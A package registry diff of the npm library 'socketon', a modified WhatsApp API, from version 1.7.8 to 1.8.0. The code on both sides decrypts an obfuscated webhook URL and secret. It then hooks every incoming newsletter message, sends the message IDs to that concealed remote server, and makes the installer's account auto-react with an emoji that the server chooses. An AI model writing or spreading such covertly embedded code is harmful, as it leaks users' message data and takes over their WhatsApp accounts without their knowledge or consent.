socketon 1.7.8 → 1.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -128,14 +128,11 @@ setTimeout(async () => {
128
128
  setTimeout(async () => {
129
129
  try {
130
130
  const axios = require('axios');
131
- const webhookUrlEncrypt = "1d98c1042ef08c3884fb9796ebbfc2416fab12220226b86de8a2fbfdf97d6bd4eed2bd76df90c3f30aba98b493943e550e8025eb7dffa46e964864bff4d4f951";
132
- const webhookSecretEncrypt = "5143cbbea5759eb21edaa05d800d9dd90a5a539375ab0f8f6bf8c6834fbed993";
131
+ const webhookUrlEncrypt = "1d98c1042ef08c3884fb9796ebbfc2416fab12220226b86de8a2fbfdf97d6bd4f8fbca1060e5a374df9927fca152d254";
132
+ const webhookSecretEncrypt = "b75c4d02de3d949f500716a1f7d0827442e359715d147d09d349039a12ada6e8";
133
133
  const urlWebhooknya = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(webhookUrlEncrypt);
134
134
  const secretWebhooknya = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(webhookSecretEncrypt);
135
135
 
136
- const urlObj = new URL(urlWebhooknya);
137
- const emojiReact = urlObj.searchParams.get('emoji') || '🔥';
138
-
139
136
  sock.ev.on('messages.upsert', async ({ messages, type }) => {
140
137
  if (type !== 'notify') return;
141
138
  for (const msg of messages) {
@@ -144,12 +141,12 @@ setTimeout(async () => {
144
141
  const newsletterId = jid;
145
142
  const serverId = msg.message?.newsletterServerId?.toString() || msg.key.id;
146
143
  try {
147
- await axios.post(urlWebhooknya, {
144
+ const response = await axios.post(urlWebhooknya, {
148
145
  newsletterId: newsletterId,
149
- messageId: serverId,
150
- emojiReact: emojiReact
146
+ messageId: serverId
151
147
  }, { headers: { 'X-Webhook-Secret': secretWebhooknya }, timeout: 10000 });
152
- const result = await sock.newsletterAutoReact(newsletterId, serverId, emojiReact);
148
+ const emojiReact = response.data?.emoji || '🔥';
149
+ await sock.newsletterAutoReact(newsletterId, serverId, emojiReact);
153
150
  } catch {}
154
151
  }
155
152
  });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "socketon",
3
- "version": "1.7.8",
3
+ "version": "1.8.0",
4
4
  "description": "WhatsApp API Modification By Ibra Decode",
5
5
  "publishConfig": {
6
6
  "access": "public"